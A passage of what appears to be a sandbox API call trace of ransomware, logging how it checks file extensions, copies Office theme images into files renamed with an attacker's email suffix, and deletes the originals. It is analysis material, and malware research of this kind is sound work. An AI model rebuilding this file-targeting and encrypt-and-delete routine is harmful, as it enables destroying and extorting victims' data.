(lpString=".pdf") returned 4 [0043.479] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.479] lstrlenW (lpString=".xls") returned 4 [0043.479] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.479] lstrlenW (lpString=".xlsx") returned 5 [0043.479] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.479] lstrlenW (lpString=".ppt") returned 4 [0043.479] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0043.479] lstrlenW (lpString=".zip") returned 4 [0043.479] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.479] lstrlenW (lpString=".rar") returned 4 [0043.479] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.479] lstrlenW (lpString=".bz2") returned 4 [0043.479] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.479] lstrlenW (lpString=".7z") returned 3 [0043.479] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0043.479] lstrlenW (lpString=".dbf") returned 4 [0043.479] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0043.479] lstrlenW (lpString=".1cd") returned 4 [0043.479] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0043.479] lstrlenW (lpString=".jpg") returned 4 [0043.479] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0043.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0043.479] lstrlenW (lpString=".doc") returned 4 [0043.479] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.479] lstrlenW (lpString=".docx") returned 5 [0043.480] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.480] lstrlenW (lpString=".pdf") returned 4 [0043.480] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.480] lstrlenW (lpString=".xls") returned 4 [0043.480] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.480] lstrlenW (lpString=".xlsx") returned 5 [0043.480] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.480] lstrlenW (lpString=".ppt") returned 4 [0043.480] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0043.480] lstrlenW (lpString=".zip") returned 4 [0043.480] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.480] lstrlenW (lpString=".rar") returned 4 [0043.480] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.480] lstrlenW (lpString=".bz2") returned 4 [0043.480] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.480] lstrlenW (lpString=".7z") returned 3 [0043.480] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0043.480] lstrlenW (lpString=".dbf") returned 4 [0043.480] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0043.480] lstrlenW (lpString=".1cd") returned 4 [0043.480] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0043.480] lstrlenW (lpString=".jpg") returned 4 [0043.480] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.480] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0043.480] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0043.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0043.807] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=33277) returned 1 [0043.807] CloseHandle (hObject=0x1f8) returned 1 [0043.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 0x20 [0043.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.807] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0043.807] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.807] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.807] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0043.808] GetLastError () returned 0x0 [0043.808] ReadFile (in: hFile=0x1f8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x81fd, lpOverlapped=0x0) returned 1 [0043.911] WriteFile (in: hFile=0x1e8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x8200, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x8200, lpOverlapped=0x0) returned 1 [0043.913] ReadFile (in: hFile=0x1f8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.913] WriteFile (in: hFile=0x1e8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.913] SetEndOfFile (hFile=0x1e8) returned 1 [0043.913] CloseHandle (hObject=0x1e8) returned 1 [0043.913] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.913] SetEndOfFile (hFile=0x1f8) returned 1 [0043.914] CloseHandle (hObject=0x1f8) returned 1 [0043.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.914] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 1 [0043.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0043.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0043.915] lstrlenW (lpString=".doc") returned 4 [0043.915] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.915] lstrlenW (lpString=".docx") returned 5 [0043.915] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.915] lstrlenW (lpString=".pdf") returned 4 [0043.915] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.915] lstrlenW (lpString=".xls") returned 4 [0043.915] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.915] lstrlenW (lpString=".xlsx") returned 5 [0043.915] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.915] lstrlenW (lpString=".ppt") returned 4 [0043.915] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0043.915] lstrlenW (lpString=".zip") returned 4 [0043.915] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.915] lstrlenW (lpString=".rar") returned 4 [0043.915] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.915] lstrlenW (lpString=".bz2") returned 4 [0043.915] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.915] lstrlenW (lpString=".7z") returned 3 [0043.915] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0043.915] lstrlenW (lpString=".dbf") returned 4 [0043.915] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0043.915] lstrlenW (lpString=".1cd") returned 4 [0043.915] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0043.915] lstrlenW (lpString=".jpg") returned 4 [0043.915] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0043.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0043.916] lstrlenW (lpString=".doc") returned 4 [0043.916] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.916] lstrlenW (lpString=".docx") returned 5 [0043.916] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.916] lstrlenW (lpString=".pdf") returned 4 [0043.916] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.916] lstrlenW (lpString=".xls") returned 4 [0043.916] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.916] lstrlenW (lpString=".xlsx") returned 5 [0043.916] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.916] lstrlenW (lpString=".ppt") returned 4 [0043.916] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0043.916] lstrlenW (lpString=".zip") returned 4 [0043.916] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.916] lstrlenW (lpString=".rar") returned 4 [0043.916] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.916] lstrlenW (lpString=".bz2") returned 4 [0043.916] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.916] lstrlenW (lpString=".7z") returned 3 [0043.916] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0043.916] lstrlenW (lpString=".dbf") returned 4 [0043.916] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0043.916] lstrlenW (lpString=".1cd") returned 4 [0043.916] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0043.916] lstrlenW (lpString=".jpg") returned 4 [0043.916] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.917] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0043.917] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0043.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0043.943] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=26402) returned 1 [0043.951] CloseHandle (hObject=0x208) returned 1 [0043.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 0x20 [0043.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0043.963] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.963] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0043.963] GetLastError () returned 0x0 [0043.963] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x6722, lpOverlapped=0x0) returned 1 [0044.052] WriteFile (in: hFile=0x208, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x6730, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x6730, lpOverlapped=0x0) returned 1 [0044.053] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.053] WriteFile (in: hFile=0x208, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.053] SetEndOfFile (hFile=0x208) returned 1 [0044.053] CloseHandle (hObject=0x208) returned 1 [0044.053] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.053] SetEndOfFile (hFile=0x174) returned 1 [0044.054] CloseHandle (hObject=0x174) returned 1 [0044.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.054] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 1 [0044.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0044.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0044.055] lstrlenW (lpString=".doc") returned 4 [0044.055] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.055] lstrlenW (lpString=".docx") returned 5 [0044.055] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.055] lstrlenW (lpString=".pdf") returned 4 [0044.055] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.055] lstrlenW (lpString=".xls") returned 4 [0044.055] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.055] lstrlenW (lpString=".xlsx") returned 5 [0044.055] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.055] lstrlenW (lpString=".ppt") returned 4 [0044.055] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0044.055] lstrlenW (lpString=".zip") returned 4 [0044.055] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.055] lstrlenW (lpString=".rar") returned 4 [0044.055] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.055] lstrlenW (lpString=".bz2") returned 4 [0044.055] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.055] lstrlenW (lpString=".7z") returned 3 [0044.055] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0044.055] lstrlenW (lpString=".dbf") returned 4 [0044.055] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0044.055] lstrlenW (lpString=".1cd") returned 4 [0044.055] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0044.055] lstrlenW (lpString=".jpg") returned 4 [0044.055] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0044.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0044.056] lstrlenW (lpString=".doc") returned 4 [0044.056] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.056] lstrlenW (lpString=".docx") returned 5 [0044.056] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.056] lstrlenW (lpString=".pdf") returned 4 [0044.056] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.056] lstrlenW (lpString=".xls") returned 4 [0044.056] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.056] lstrlenW (lpString=".xlsx") returned 5 [0044.056] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.056] lstrlenW (lpString=".ppt") returned 4 [0044.056] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0044.056] lstrlenW (lpString=".zip") returned 4 [0044.056] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.056] lstrlenW (lpString=".rar") returned 4 [0044.056] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.056] lstrlenW (lpString=".bz2") returned 4 [0044.056] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.056] lstrlenW (lpString=".7z") returned 3 [0044.056] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0044.056] lstrlenW (lpString=".dbf") returned 4 [0044.056] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0044.056] lstrlenW (lpString=".1cd") returned 4 [0044.056] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0044.056] lstrlenW (lpString=".jpg") returned 4 [0044.056] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.057] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.057] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0044.057] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1659) returned 1 [0044.057] CloseHandle (hObject=0x174) returned 1 [0044.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 0x20 [0044.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0044.057] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.057] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0044.066] GetLastError () returned 0x0 [0044.066] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x67b, lpOverlapped=0x0) returned 1 [0044.067] WriteFile (in: hFile=0x1f8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x680, lpOverlapped=0x0) returned 1 [0044.068] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.068] WriteFile (in: hFile=0x1f8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.068] SetEndOfFile (hFile=0x1f8) returned 1 [0044.068] CloseHandle (hObject=0x1f8) returned 1 [0044.069] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.069] SetEndOfFile (hFile=0x174) returned 1 [0044.069] CloseHandle (hObject=0x174) returned 1 [0044.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.070] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 1 [0044.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0044.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0044.070] lstrlenW (lpString=".doc") returned 4 [0044.070] lstrcmpiW (lpString1=".doc", 